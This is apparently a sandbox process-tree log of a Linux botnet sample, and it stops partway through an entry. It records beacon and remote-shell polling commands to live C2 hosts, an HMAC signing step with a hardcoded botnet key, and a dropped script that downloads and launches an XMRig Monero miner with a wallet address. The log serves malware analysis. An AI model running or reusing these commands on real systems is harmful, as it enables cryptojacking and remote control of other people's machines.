  curl -sk https://ghvfcd.quest:8443/beacon -X POST -H "Content-Type: application/json" -d "{\"bot_id\":\"ubuntu1804-amd64-20260513-en-13-32\",\"hostname\":\"ubuntu1804-amd64-20260513-en-13\",\"os\":\"Linux 4.15.0-213-generic x86_64\",\"version\":\"5.0\"}" --connect-timeout 15
  2⤵
  PID:1898
- /usr/bin/python3
  python3 -c " import hmac,hashlib key='wormhole42_botnet_2026_secret_key'.encode() print(hmac.new(key,'bot_id=ubuntu1804-amd64-20260513-en-13-32'.encode(),hashlib.sha256).hexdigest()) "
  2⤵
  PID:1909
- /usr/bin/wget
  wget -q --no-check-certificate -O- "https://ghvfcd.quest:8443/shell?bot_id=ubuntu1804-amd64-20260513-en-13-32&sig=acd4dd850ccb1031ca9462da2a4314e55c12964965aa28684a1094aabd81e439" "--timeout=10"
  2⤵
  PID:1911
- /usr/bin/wget
  wget -q --no-check-certificate -O- "https://94.183.185.66:8443/shell?bot_id=ubuntu1804-amd64-20260513-en-13-32&sig=acd4dd850ccb1031ca9462da2a4314e55c12964965aa28684a1094aabd81e439" "--timeout=10"
  2⤵
  PID:1916
- /usr/bin/curl
  curl -sk "https://ghvfcd.quest:8443/shell?bot_id=ubuntu1804-amd64-20260513-en-13-32&sig=acd4dd850ccb1031ca9462da2a4314e55c12964965aa28684a1094aabd81e439" --connect-timeout 10
  2⤵
  PID:1918
- /usr/bin/curl
  curl -sk "https://94.183.185.66:8443/shell?bot_id=ubuntu1804-amd64-20260513-en-13-32&sig=acd4dd850ccb1031ca9462da2a4314e55c12964965aa28684a1094aabd81e439" --connect-timeout 10
  2⤵
  PID:1921
- /bin/sleep
  sleep 2
  2⤵
  PID:1924
- /usr/bin/python3
  python3 -c " import hmac,hashlib key='wormhole42_botnet_2026_secret_key'.encode() print(hmac.new(key,'bot_id=ubuntu1804-amd64-20260513-en-13-32'.encode(),hashlib.sha256).hexdigest()) "
  2⤵
  PID:1929
- /usr/bin/wget
  wget -q --no-check-certificate -O- "https://ghvfcd.quest:8443/shell?bot_id=ubuntu1804-amd64-20260513-en-13-32&sig=acd4dd850ccb1031ca9462da2a4314e55c12964965aa28684a1094aabd81e439" "--timeout=10"
  2⤵
  PID:1930
- /usr/bin/wget
  wget -q --no-check-certificate -O- "https://94.183.185.66:8443/shell?bot_id=ubuntu1804-amd64-20260513-en-13-32&sig=acd4dd850ccb1031ca9462da2a4314e55c12964965aa28684a1094aabd81e439" "--timeout=10"
  2⤵
  PID:1935
- /usr/bin/curl
  curl -sk "https://ghvfcd.quest:8443/shell?bot_id=ubuntu1804-amd64-20260513-en-13-32&sig=acd4dd850ccb1031ca9462da2a4314e55c12964965aa28684a1094aabd81e439" --connect-timeout 10
  2⤵
  PID:1937
- /usr/bin/curl
  curl -sk "https://94.183.185.66:8443/shell?bot_id=ubuntu1804-amd64-20260513-en-13-32&sig=acd4dd850ccb1031ca9462da2a4314e55c12964965aa28684a1094aabd81e439" --connect-timeout 10
  2⤵
  PID:1941
- /bin/sleep
  sleep 2
  2⤵
  PID:1943
- /usr/bin/python3
  python3 -c " import hmac,hashlib key='wormhole42_botnet_2026_secret_key'.encode() print(hmac.new(key,'bot_id=ubuntu1804-amd64-20260513-en-13-32'.encode(),hashlib.sha256).hexdigest()) "
  2⤵
  PID:1947
- /usr/bin/wget
  wget -q --no-check-certificate -O- "https://ghvfcd.quest:8443/shell?bot_id=ubuntu1804-amd64-20260513-en-13-32&sig=acd4dd850ccb1031ca9462da2a4314e55c12964965aa28684a1094aabd81e439" "--timeout=10"
  2⤵
  PID:1948
- /usr/bin/wget
  wget -q --no-check-certificate -O- "https://94.183.185.66:8443/shell?bot_id=ubuntu1804-amd64-20260513-en-13-32&sig=acd4dd850ccb1031ca9462da2a4314e55c12964965aa28684a1094aabd81e439" "--timeout=10"
  2⤵
  PID:1953
- /usr/bin/curl
  curl -sk "https://ghvfcd.quest:8443/shell?bot_id=ubuntu1804-amd64-20260513-en-13-32&sig=acd4dd850ccb1031ca9462da2a4314e55c12964965aa28684a1094aabd81e439" --connect-timeout 10
  2⤵
  PID:1955
- /usr/bin/curl
  curl -sk "https://94.183.185.66:8443/shell?bot_id=ubuntu1804-amd64-20260513-en-13-32&sig=acd4dd850ccb1031ca9462da2a4314e55c12964965aa28684a1094aabd81e439" --connect-timeout 10
  2⤵
  PID:1959
- /bin/sleep
  sleep 2
  2⤵
  PID:1961
- /usr/bin/python3
  python3 -c " import hmac,hashlib key='wormhole42_botnet_2026_secret_key'.encode() print(hmac.new(key,'bot_id=ubuntu1804-amd64-20260513-en-13-32'.encode(),hashlib.sha256).hexdigest()) "
  2⤵
  PID:1965
- /usr/bin/wget
  wget -q --no-check-certificate -O- "https://ghvfcd.quest:8443/shell?bot_id=ubuntu1804-amd64-20260513-en-13-32&sig=acd4dd850ccb1031ca9462da2a4314e55c12964965aa28684a1094aabd81e439" "--timeout=10"
  2⤵
  PID:1966
- /usr/bin/wget
  wget -q --no-check-certificate -O- "https://94.183.185.66:8443/shell?bot_id=ubuntu1804-amd64-20260513-en-13-32&sig=acd4dd850ccb1031ca9462da2a4314e55c12964965aa28684a1094aabd81e439" "--timeout=10"
  2⤵
  PID:1971
- /usr/bin/curl
  curl -sk "https://ghvfcd.quest:8443/shell?bot_id=ubuntu1804-amd64-20260513-en-13-32&sig=acd4dd850ccb1031ca9462da2a4314e55c12964965aa28684a1094aabd81e439" --connect-timeout 10
  2⤵
  PID:1973
- /usr/bin/curl
  curl -sk "https://94.183.185.66:8443/shell?bot_id=ubuntu1804-amd64-20260513-en-13-32&sig=acd4dd850ccb1031ca9462da2a4314e55c12964965aa28684a1094aabd81e439" --connect-timeout 10
  2⤵
  PID:1977
- /bin/sleep
  sleep 2
  2⤵
  PID:1979
- /usr/bin/python3
  python3 -c " import hmac,hashlib key='wormhole42_botnet_2026_secret_key'.encode() print(hmac.new(key,'bot_id=ubuntu1804-amd64-20260513-en-13-32'.encode(),hashlib.sha256).hexdigest()) "
  2⤵
  PID:2010
- /usr/bin/wget
  wget -q --no-check-certificate -O- "https://ghvfcd.quest:8443/shell?bot_id=ubuntu1804-amd64-20260513-en-13-32&sig=acd4dd850ccb1031ca9462da2a4314e55c12964965aa28684a1094aabd81e439" "--timeout=10"
  2⤵
  PID:2076
- /usr/bin/wget
  wget -q --no-check-certificate -O- "https://94.183.185.66:8443/shell?bot_id=ubuntu1804-amd64-20260513-en-13-32&sig=acd4dd850ccb1031ca9462da2a4314e55c12964965aa28684a1094aabd81e439" "--timeout=10"
  2⤵
  PID:2257
- /usr/bin/curl
  curl -sk "https://ghvfcd.quest:8443/shell?bot_id=ubuntu1804-amd64-20260513-en-13-32&sig=acd4dd850ccb1031ca9462da2a4314e55c12964965aa28684a1094aabd81e439" --connect-timeout 10
  2⤵
  PID:2372
- /usr/bin/curl
  curl -sk "https://94.183.185.66:8443/shell?bot_id=ubuntu1804-amd64-20260513-en-13-32&sig=acd4dd850ccb1031ca9462da2a4314e55c12964965aa28684a1094aabd81e439" --connect-timeout 10
  2⤵
  PID:2382
- /bin/sleep
  sleep 2
  2⤵
  PID:2508
- /bin/sleep
  sleep 10
  2⤵
  PID:2536
- /bin/hostname
  hostname
  2⤵
  PID:2657
- /bin/uname
  uname -srm
  2⤵
  PID:2659
- /usr/bin/curl
  curl -sk https://ghvfcd.quest:8443/beacon -X POST -H "Content-Type: application/json" -d "{\"bot_id\":\"ubuntu1804-amd64-20260513-en-13-32\",\"hostname\":\"ubuntu1804-amd64-20260513-en-13\",\"os\":\"Linux 4.15.0-213-generic x86_64\",\"version\":\"5.0\"}" --connect-timeout 15
  2⤵
  PID:2660
- /usr/bin/python3
  python3 -c " import hmac,hashlib key='wormhole42_botnet_2026_secret_key'.encode() print(hmac.new(key,'bot_id=ubuntu1804-amd64-20260513-en-13-32'.encode(),hashlib.sha256).hexdigest()) "
  2⤵
  PID:2676
- /usr/bin/wget
  wget -q --no-check-certificate -O- "https://ghvfcd.quest:8443/shell?bot_id=ubuntu1804-amd64-20260513-en-13-32&sig=acd4dd850ccb1031ca9462da2a4314e55c12964965aa28684a1094aabd81e439" "--timeout=10"
  2⤵
  PID:2677
- /usr/bin/wget
  wget -q --no-check-certificate -O- "https://94.183.185.66:8443/shell?bot_id=ubuntu1804-amd64-20260513-en-13-32&sig=acd4dd850ccb1031ca9462da2a4314e55c12964965aa28684a1094aabd81e439" "--timeout=10"
  2⤵
  PID:2682
- /usr/bin/curl
  curl -sk "https://ghvfcd.quest:8443/shell?bot_id=ubuntu1804-amd64-20260513-en-13-32&sig=acd4dd850ccb1031ca9462da2a4314e55c12964965aa28684a1094aabd81e439" --connect-timeout 10
  2⤵
  PID:2708
- /usr/bin/curl
  curl -sk "https://94.183.185.66:8443/shell?bot_id=ubuntu1804-amd64-20260513-en-13-32&sig=acd4dd850ccb1031ca9462da2a4314e55c12964965aa28684a1094aabd81e439" --connect-timeout 10
  2⤵
  PID:2724
- /bin/sleep
  sleep 2
  2⤵
  PID:2738
- /usr/bin/python3
  python3 -c " import hmac,hashlib key='wormhole42_botnet_2026_secret_key'.encode() print(hmac.new(key,'bot_id=ubuntu1804-amd64-20260513-en-13-32'.encode(),hashlib.sha256).hexdigest()) "
  2⤵
  PID:2756
- /usr/bin/wget
  wget -q --no-check-certificate -O- "https://ghvfcd.quest:8443/shell?bot_id=ubuntu1804-amd64-20260513-en-13-32&sig=acd4dd850ccb1031ca9462da2a4314e55c12964965aa28684a1094aabd81e439" "--timeout=10"
  2⤵
  PID:2762
- /usr/bin/wget
  wget -q --no-check-certificate -O- "https://94.183.185.66:8443/shell?bot_id=ubuntu1804-amd64-20260513-en-13-32&sig=acd4dd850ccb1031ca9462da2a4314e55c12964965aa28684a1094aabd81e439" "--timeout=10"
  2⤵
  PID:2784
- /usr/bin/curl
  curl -sk "https://ghvfcd.quest:8443/shell?bot_id=ubuntu1804-amd64-20260513-en-13-32&sig=acd4dd850ccb1031ca9462da2a4314e55c12964965aa28684a1094aabd81e439" --connect-timeout 10
  2⤵
  PID:2796
- /usr/bin/curl
  curl -sk "https://94.183.185.66:8443/shell?bot_id=ubuntu1804-amd64-20260513-en-13-32&sig=acd4dd850ccb1031ca9462da2a4314e55c12964965aa28684a1094aabd81e439" --connect-timeout 10
  2⤵
  PID:2813
- /bin/sleep
  sleep 2
  2⤵
  PID:2825
- /usr/bin/python3
  python3 -c " import hmac,hashlib key='wormhole42_botnet_2026_secret_key'.encode() print(hmac.new(key,'bot_id=ubuntu1804-amd64-20260513-en-13-32'.encode(),hashlib.sha256).hexdigest()) "
  2⤵
  PID:2838
- /usr/bin/wget
  wget -q --no-check-certificate -O- "https://ghvfcd.quest:8443/shell?bot_id=ubuntu1804-amd64-20260513-en-13-32&sig=acd4dd850ccb1031ca9462da2a4314e55c12964965aa28684a1094aabd81e439" "--timeout=10"
  2⤵
  PID:2844
- /usr/bin/wget
  wget -q --no-check-certificate -O- "https://94.183.185.66:8443/shell?bot_id=ubuntu1804-amd64-20260513-en-13-32&sig=acd4dd850ccb1031ca9462da2a4314e55c12964965aa28684a1094aabd81e439" "--timeout=10"
  2⤵
  PID:2853
- /usr/bin/curl
  curl -sk "https://ghvfcd.quest:8443/shell?bot_id=ubuntu1804-amd64-20260513-en-13-32&sig=acd4dd850ccb1031ca9462da2a4314e55c12964965aa28684a1094aabd81e439" --connect-timeout 10
  2⤵
  PID:2855
- /usr/bin/curl
  curl -sk "https://94.183.185.66:8443/shell?bot_id=ubuntu1804-amd64-20260513-en-13-32&sig=acd4dd850ccb1031ca9462da2a4314e55c12964965aa28684a1094aabd81e439" --connect-timeout 10
  2⤵
  PID:2859
- /bin/sleep
  sleep 2
  2⤵
  PID:2865
- /usr/bin/python3
  python3 -c " import hmac,hashlib key='wormhole42_botnet_2026_secret_key'.encode() print(hmac.new(key,'bot_id=ubuntu1804-amd64-20260513-en-13-32'.encode(),hashlib.sha256).hexdigest()) "
  2⤵
  PID:2869
- /usr/bin/wget
  wget -q --no-check-certificate -O- "https://ghvfcd.quest:8443/shell?bot_id=ubuntu1804-amd64-20260513-en-13-32&sig=acd4dd850ccb1031ca9462da2a4314e55c12964965aa28684a1094aabd81e439" "--timeout=10"
  2⤵
  PID:2870
- /usr/bin/wget
  wget -q --no-check-certificate -O- "https://94.183.185.66:8443/shell?bot_id=ubuntu1804-amd64-20260513-en-13-32&sig=acd4dd850ccb1031ca9462da2a4314e55c12964965aa28684a1094aabd81e439" "--timeout=10"
  2⤵
  PID:2875
- /usr/bin/curl
  curl -sk "https://ghvfcd.quest:8443/shell?bot_id=ubuntu1804-amd64-20260513-en-13-32&sig=acd4dd850ccb1031ca9462da2a4314e55c12964965aa28684a1094aabd81e439" --connect-timeout 10
  2⤵
  PID:2877
- /usr/bin/curl
  curl -sk "https://94.183.185.66:8443/shell?bot_id=ubuntu1804-amd64-20260513-en-13-32&sig=acd4dd850ccb1031ca9462da2a4314e55c12964965aa28684a1094aabd81e439" --connect-timeout 10
  2⤵
  PID:2881
- /bin/sleep
  sleep 2
  2⤵
  PID:2901
- /usr/bin/python3
  python3 -c " import hmac,hashlib key='wormhole42_botnet_2026_secret_key'.encode() print(hmac.new(key,'bot_id=ubuntu1804-amd64-20260513-en-13-32'.encode(),hashlib.sha256).hexdigest()) "
  2⤵
  PID:2968
- /usr/bin/wget
  wget -q --no-check-certificate -O- "https://ghvfcd.quest:8443/shell?bot_id=ubuntu1804-amd64-20260513-en-13-32&sig=acd4dd850ccb1031ca9462da2a4314e55c12964965aa28684a1094aabd81e439" "--timeout=10"
  2⤵
  PID:2974
- /usr/bin/wget
  wget -q --no-check-certificate -O- "https://94.183.185.66:8443/shell?bot_id=ubuntu1804-amd64-20260513-en-13-32&sig=acd4dd850ccb1031ca9462da2a4314e55c12964965aa28684a1094aabd81e439" "--timeout=10"
  2⤵
  PID:2994
- /usr/bin/curl
  curl -sk "https://ghvfcd.quest:8443/shell?bot_id=ubuntu1804-amd64-20260513-en-13-32&sig=acd4dd850ccb1031ca9462da2a4314e55c12964965aa28684a1094aabd81e439" --connect-timeout 10
  2⤵
  PID:3003
- /usr/bin/curl
  curl -sk "https://94.183.185.66:8443/shell?bot_id=ubuntu1804-amd64-20260513-en-13-32&sig=acd4dd850ccb1031ca9462da2a4314e55c12964965aa28684a1094aabd81e439" --connect-timeout 10
  2⤵
  PID:3007
- /bin/sleep
  sleep 2
  2⤵
  PID:3012
- /bin/sleep
  sleep 10
  2⤵
  PID:3050
- /bin/hostname
  hostname
  2⤵
  PID:3167
- /bin/uname
  uname -srm
  2⤵
  PID:3169
- /usr/bin/curl
  curl -sk https://ghvfcd.quest:8443/beacon -X POST -H "Content-Type: application/json" -d "{\"bot_id\":\"ubuntu1804-amd64-20260513-en-13-32\",\"hostname\":\"ubuntu1804-amd64-20260513-en-13\",\"os\":\"Linux 4.15.0-213-generic x86_64\",\"version\":\"5.0\"}" --connect-timeout 15
  2⤵
  PID:3171
- /usr/bin/python3
  python3 -c " import hmac,hashlib key='wormhole42_botnet_2026_secret_key'.encode() print(hmac.new(key,'bot_id=ubuntu1804-amd64-20260513-en-13-32'.encode(),hashlib.sha256).hexdigest()) "
  2⤵
  PID:3190
- /usr/bin/wget
  wget -q --no-check-certificate -O- "https://ghvfcd.quest:8443/shell?bot_id=ubuntu1804-amd64-20260513-en-13-32&sig=acd4dd850ccb1031ca9462da2a4314e55c12964965aa28684a1094aabd81e439" "--timeout=10"
  2⤵
  PID:3192
- /usr/bin/wget
  wget -q --no-check-certificate -O- "https://94.183.185.66:8443/shell?bot_id=ubuntu1804-amd64-20260513-en-13-32&sig=acd4dd850ccb1031ca9462da2a4314e55c12964965aa28684a1094aabd81e439" "--timeout=10"
  2⤵
  PID:3196
- /usr/bin/curl
  curl -sk "https://ghvfcd.quest:8443/shell?bot_id=ubuntu1804-amd64-20260513-en-13-32&sig=acd4dd850ccb1031ca9462da2a4314e55c12964965aa28684a1094aabd81e439" --connect-timeout 10
  2⤵
  PID:3209
- /usr/bin/curl
  curl -sk "https://94.183.185.66:8443/shell?bot_id=ubuntu1804-amd64-20260513-en-13-32&sig=acd4dd850ccb1031ca9462da2a4314e55c12964965aa28684a1094aabd81e439" --connect-timeout 10
  2⤵
  PID:3228
- /bin/sleep
  sleep 2
  2⤵
  PID:3238
- /usr/bin/python3
  python3 -c " import hmac,hashlib key='wormhole42_botnet_2026_secret_key'.encode() print(hmac.new(key,'bot_id=ubuntu1804-amd64-20260513-en-13-32'.encode(),hashlib.sha256).hexdigest()) "
  2⤵
  PID:3259
- /usr/bin/wget
  wget -q --no-check-certificate -O- "https://ghvfcd.quest:8443/shell?bot_id=ubuntu1804-amd64-20260513-en-13-32&sig=acd4dd850ccb1031ca9462da2a4314e55c12964965aa28684a1094aabd81e439" "--timeout=10"
  2⤵
  PID:3260
- /usr/bin/wget
  wget -q --no-check-certificate -O- "https://94.183.185.66:8443/shell?bot_id=ubuntu1804-amd64-20260513-en-13-32&sig=acd4dd850ccb1031ca9462da2a4314e55c12964965aa28684a1094aabd81e439" "--timeout=10"
  2⤵
  PID:3274
- /usr/bin/curl
  curl -sk "https://ghvfcd.quest:8443/shell?bot_id=ubuntu1804-amd64-20260513-en-13-32&sig=acd4dd850ccb1031ca9462da2a4314e55c12964965aa28684a1094aabd81e439" --connect-timeout 10
  2⤵
  PID:3276
- /usr/bin/curl
  curl -sk "https://94.183.185.66:8443/shell?bot_id=ubuntu1804-amd64-20260513-en-13-32&sig=acd4dd850ccb1031ca9462da2a4314e55c12964965aa28684a1094aabd81e439" --connect-timeout 10
  2⤵
  PID:3281
- /bin/sleep
  sleep 2
  2⤵
  PID:3286
- /usr/bin/python3
  python3 -c " import hmac,hashlib key='wormhole42_botnet_2026_secret_key'.encode() print(hmac.new(key,'bot_id=ubuntu1804-amd64-20260513-en-13-32'.encode(),hashlib.sha256).hexdigest()) "
  2⤵
  PID:3290
- /usr/bin/wget
  wget -q --no-check-certificate -O- "https://ghvfcd.quest:8443/shell?bot_id=ubuntu1804-amd64-20260513-en-13-32&sig=acd4dd850ccb1031ca9462da2a4314e55c12964965aa28684a1094aabd81e439" "--timeout=10"
  2⤵
  PID:3294
- /usr/bin/wget
  wget -q --no-check-certificate -O- "https://94.183.185.66:8443/shell?bot_id=ubuntu1804-amd64-20260513-en-13-32&sig=acd4dd850ccb1031ca9462da2a4314e55c12964965aa28684a1094aabd81e439" "--timeout=10"
  2⤵
  PID:3296
- /usr/bin/curl
  curl -sk "https://ghvfcd.quest:8443/shell?bot_id=ubuntu1804-amd64-20260513-en-13-32&sig=acd4dd850ccb1031ca9462da2a4314e55c12964965aa28684a1094aabd81e439" --connect-timeout 10
  2⤵
  PID:3298
- /usr/bin/curl
  curl -sk "https://94.183.185.66:8443/shell?bot_id=ubuntu1804-amd64-20260513-en-13-32&sig=acd4dd850ccb1031ca9462da2a4314e55c12964965aa28684a1094aabd81e439" --connect-timeout 10
  2⤵
  PID:3302
- /bin/sleep
  sleep 2
  2⤵
  PID:3304
- /usr/bin/python3
  python3 -c " import hmac,hashlib key='wormhole42_botnet_2026_secret_key'.encode() print(hmac.new(key,'bot_id=ubuntu1804-amd64-20260513-en-13-32'.encode(),hashlib.sha256).hexdigest()) "
  2⤵
  PID:3319
- /usr/bin/wget
  wget -q --no-check-certificate -O- "https://ghvfcd.quest:8443/shell?bot_id=ubuntu1804-amd64-20260513-en-13-32&sig=acd4dd850ccb1031ca9462da2a4314e55c12964965aa28684a1094aabd81e439" "--timeout=10"
  2⤵
  PID:3324
- /usr/bin/wget
  wget -q --no-check-certificate -O- "https://94.183.185.66:8443/shell?bot_id=ubuntu1804-amd64-20260513-en-13-32&sig=acd4dd850ccb1031ca9462da2a4314e55c12964965aa28684a1094aabd81e439" "--timeout=10"
  2⤵
  PID:3334
- /usr/bin/curl
  curl -sk "https://ghvfcd.quest:8443/shell?bot_id=ubuntu1804-amd64-20260513-en-13-32&sig=acd4dd850ccb1031ca9462da2a4314e55c12964965aa28684a1094aabd81e439" --connect-timeout 10
  2⤵
  PID:3338
- /usr/bin/curl
  curl -sk "https://94.183.185.66:8443/shell?bot_id=ubuntu1804-amd64-20260513-en-13-32&sig=acd4dd850ccb1031ca9462da2a4314e55c12964965aa28684a1094aabd81e439" --connect-timeout 10
  2⤵
  PID:3371
- /bin/sleep
  sleep 2
  2⤵
  PID:3393
- /usr/bin/python3
  python3 -c " import hmac,hashlib key='wormhole42_botnet_2026_secret_key'.encode() print(hmac.new(key,'bot_id=ubuntu1804-amd64-20260513-en-13-32'.encode(),hashlib.sha256).hexdigest()) "
  2⤵
  PID:3427
- /usr/bin/wget
  wget -q --no-check-certificate -O- "https://ghvfcd.quest:8443/shell?bot_id=ubuntu1804-amd64-20260513-en-13-32&sig=acd4dd850ccb1031ca9462da2a4314e55c12964965aa28684a1094aabd81e439" "--timeout=10"
  2⤵
  PID:3432
- /usr/bin/wget
  wget -q --no-check-certificate -O- "https://94.183.185.66:8443/shell?bot_id=ubuntu1804-amd64-20260513-en-13-32&sig=acd4dd850ccb1031ca9462da2a4314e55c12964965aa28684a1094aabd81e439" "--timeout=10"
  2⤵
  PID:3439
- /usr/bin/curl
  curl -sk "https://ghvfcd.quest:8443/shell?bot_id=ubuntu1804-amd64-20260513-en-13-32&sig=acd4dd850ccb1031ca9462da2a4314e55c12964965aa28684a1094aabd81e439" --connect-timeout 10
  2⤵
  PID:3444
- /usr/bin/curl
  curl -sk "https://94.183.185.66:8443/shell?bot_id=ubuntu1804-amd64-20260513-en-13-32&sig=acd4dd850ccb1031ca9462da2a4314e55c12964965aa28684a1094aabd81e439" --connect-timeout 10
  2⤵
  PID:3466
- /bin/sleep
  sleep 2
  2⤵
  PID:3473
- /bin/sleep
  sleep 10
  2⤵
  PID:3500
- /bin/hostname
  hostname
  2⤵
  PID:3620
- /bin/uname
  uname -srm
  2⤵
  PID:3624
- /usr/bin/curl
  curl -sk https://ghvfcd.quest:8443/beacon -X POST -H "Content-Type: application/json" -d "{\"bot_id\":\"ubuntu1804-amd64-20260513-en-13-32\",\"hostname\":\"ubuntu1804-amd64-20260513-en-13\",\"os\":\"Linux 4.15.0-213-generic x86_64\",\"version\":\"5.0\"}" --connect-timeout 15
  2⤵
  PID:3626
- /usr/bin/python3
  python3 -c " import hmac,hashlib key='wormhole42_botnet_2026_secret_key'.encode() print(hmac.new(key,'bot_id=ubuntu1804-amd64-20260513-en-13-32'.encode(),hashlib.sha256).hexdigest()) "
  2⤵
  PID:3637

/usr/bin/nohup
nohup sh /tmp/.ms.sh
1⤵
PID:1696

/usr/local/sbin/sh
sh /tmp/.ms.sh
1⤵
PID:1696

/usr/local/bin/sh
sh /tmp/.ms.sh
1⤵
PID:1696

/usr/sbin/sh
sh /tmp/.ms.sh
1⤵
PID:1696

/usr/bin/sh
sh /tmp/.ms.sh
1⤵
PID:1696

/sbin/sh
sh /tmp/.ms.sh
1⤵
PID:1696

/bin/sh
sh /tmp/.ms.sh
1⤵
- Writes file to tmp directory
PID:1696
- /bin/cat
  cat /var/tmp/.w
  2⤵
  PID:1697
- /bin/uname
  uname -m
  2⤵
  PID:1699
- /bin/grep
  grep -E "lin64-compat|lin64\\.tar\\.gz"
  2⤵
  PID:1703
- /usr/bin/cut
  cut -d "\"" -f 4
  2⤵
  PID:1705
- /usr/bin/head
  head -1
  2⤵
  PID:1704
- /bin/grep
  grep browser_download_url
  2⤵
  PID:1702
- /usr/bin/curl
  curl -fsSL https://api.github.com/repos/MoneroOcean/xmrig/releases/latest
  2⤵
  PID:1701
- /usr/bin/wget
  wget -q -O /tmp/xmrig.tar.gz https://github.com/MoneroOcean/xmrig/releases/download/v6.26.0-mo3/xmrig-v6.26.0-mo3-lin64-compat.tar.gz "--timeout=60"
  2⤵
  - Writes file to tmp directory
  PID:1726
- /bin/tar
  tar xzf /tmp/xmrig.tar.gz -C /tmp/
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:1731
- - /usr/local/sbin/gzip
    gzip -d
    3⤵
    PID:1733
- - /usr/local/bin/gzip
    gzip -d
    3⤵
    PID:1733
- - /usr/sbin/gzip
    gzip -d
    3⤵
    PID:1733
- - /usr/bin/gzip
    gzip -d
    3⤵
    PID:1733
- - /sbin/gzip
    gzip -d
    3⤵
    PID:1733
- - /bin/gzip
    gzip -d
    3⤵
    PID:1733
- /bin/rm
  2⤵
  PID:1734
- /bin/chmod
  2⤵
  PID:1735
- /usr/bin/nproc
  nproc
  2⤵
  PID:1738
- /bin/grep
  grep MemTotal /proc/meminfo
  2⤵
  - Reads runtime system information
  PID:1742
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  - Reads runtime system information
  PID:1743
- /usr/bin/wget
  wget -q --no-check-certificate -O- "--post-data={\"bot_id\":\"ubuntu1804-amd64-20260513-en-13-32\",\"output\":\"MINING_STARTED:ubuntu1804-amd64-20260513-en-13-32\"}" "--header=Content-Type: application/json" https://ghvfcd.quest:8443/result "--timeout=10"
  2⤵
  PID:1749
- /usr/bin/nohup
  nohup /tmp/xmrig -o gulf.moneroocean.stream:20004 --tls -u 859cnHBWbZg2xsF5GzpmAKd6wrjV3SFMSWZyavxkzncwikwpjnyVziBSw5kuq2BLFnXvU4ksDSEJrb2xSLTenCvqKyC6yph -p ubuntu1804-amd64-20260513-en-13-32 --keepalive "--donate-level=0" "--cpu-max-threads-hint=1" --background -o gulf.moneroocean.stream:10004 -u 859cnHBWbZg2xsF5GzpmAKd6wrjV3SFMSWZyavxkzncwikwpjnyVziBSw5kuq2BLFnXvU4ksDSEJrb2xSLTenCvqKyC6yph -p ubuntu1804-amd64-20260513-en-13-32 --keepalive "--donate-level=0"
  2⤵
  - Executes dropped EXE
  PID:1748
- /tmp/xmrig
  /tmp/xmrig -o gulf.moneroocean.stream:20004 --tls -u 859cnHBWbZg2xsF5GzpmAKd6wrjV3SFMSWZyavxkzncwikwpjnyVziBSw5kuq2BLFnXvU4ksDSEJrb2xSLTenCvqKyC6yph -p ubuntu1804-amd64-20260513-en-13-32 --keepalive "--donate-level=0" "--cpu-max-threads-hint=1" --background -o gulf.moneroocean.stream:10004 -u 859cnHBWbZg2xsF5GzpmAKd6wrjV3SFMSWZyavxkzncwikwpjnyVziBSw5kuq2BLFnXvU4ksDSEJrb2xSLTenCvqKyC6yph -p ubuntu1804-amd64-20260513-en-13-32 --keepalive "--donate-level=0"
  2⤵
  - Checks hardware identifiers (DMI)
  - Reads hardware information
  - Checks CPU configuration
  - Reads CPU attributes
  - Enumerates kernel/hardware configuration
  - Reads runtime system information
  PID:1748
- /usr/bin/wget
  wget -q --no-check-certificate -O- "--post-data={\"bot_id\":\"ubuntu1804-amd64-20260513-en-13-32\",\"output\":\"MINING_STARTED:ubuntu1804-amd64-20260513-en-13-32:gulf.moneroocean.stream:20004\"}" "--header=Content-Type: application/json" https://ghvfcd.quest:8443/result "--timeout=10"
  2⤵
  PID:1788

/usr/bin/nohup
nohup sh /tmp/.ms.sh
1⤵
PID:1714

/usr/local/sbin/sh
sh /tmp/.ms.sh
1⤵
PID:1714

/usr/local/bin/sh
sh /tmp/.ms.sh
1⤵
PID:1714

/usr/sbin/sh
sh /tmp/.ms.sh
1⤵
PID:1714

/usr/bin/sh
sh /tmp/.ms.sh
1⤵
PID:1714

/sbin/sh
sh /tmp/.ms.sh
1⤵
PID:1714

/bin/sh
sh /tmp/.ms.sh
1⤵
- Writes file to tmp directory
PID:1714
- /bin/cat
  cat /var/tmp/.w
  2⤵
  PID:1715
- /bin/uname
  uname -m
  2⤵
  PID:1717
- /usr/bin/cut
  cut -d "\"" -f 4
  2⤵
  PID:1723
- /usr/bin/head
  head -1
  2⤵
  PID:1722
- /bin/grep
  grep -E "lin64-compat|lin64\\.tar\\.gz"
  2⤵
  PID:1721
- /bin/grep
  grep browser_download_url
  2⤵
  PID:1720
- /usr/bin/curl
  curl -fsSL https://api.github.com/repos/MoneroOcean/xmrig/releases/latest
  2⤵
  PID:1719
- /usr/bin/wget
  wget -q -O /tmp/xmrig.tar.gz https://github.com/MoneroOcean/xmrig/releases/download/v6.26.0-mo3/xmrig-v6.26.0-mo3-lin64-compat.tar.gz "--timeout=60"
  2⤵
  - Writes file to tmp directory
  PID:1727
- /bin/tar
  tar xzf /tmp/xmrig.tar.gz -C /tmp/
  2⤵
  - Writes file to tmp directory
  PID:1730
- - /usr/local/sbin/gzip
    gzip -d
    3⤵
    PID:1732
- - /usr/local/bin/gzip
    gzip -d
    3⤵
    PID:1732
- - /usr/sbin/gzip
    gzip -d
    3⤵
    PID:1732
- - /usr/bin/gzip
    gzip -d
    3⤵
    PID:1732
- - /sbin/gzip
    gzip -d
    3⤵
    PID:1732
- - /bin/gzip
    gzip -d
    3⤵
    PID:1732
- /bin/rm
  rm -rf "/tmp/xmrig-*" /tmp/xmrig.tar.gz
  2⤵
  PID:1737
- /bin/chmod
  chmod +x /tmp/xmrig
  2⤵
  - File and Directory Permissions Modification
  PID:1739
- /usr/bin/nproc
  nproc
  2⤵
  PID:1744
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  - Reads runtime system information
  PID:1747
- /bin/grep
  grep MemTotal /proc/meminfo
  2⤵
  - Reads runtime system information
  PID:1746
- /usr/bin/wget
  wget -q --no-check-certificate -O- "--post-data={\"bot_id\":\"ubuntu1804-amd64-20260513-en-13-32\",\"output\":\"MINING_STARTED:ubuntu1804-amd64-20260513-en-13-32\"}" "--header=Content-Type: application/json" https://ghvfcd.quest:8443/result "--timeout=10"
  2⤵
  PID:1751
- /usr/bin/nohup
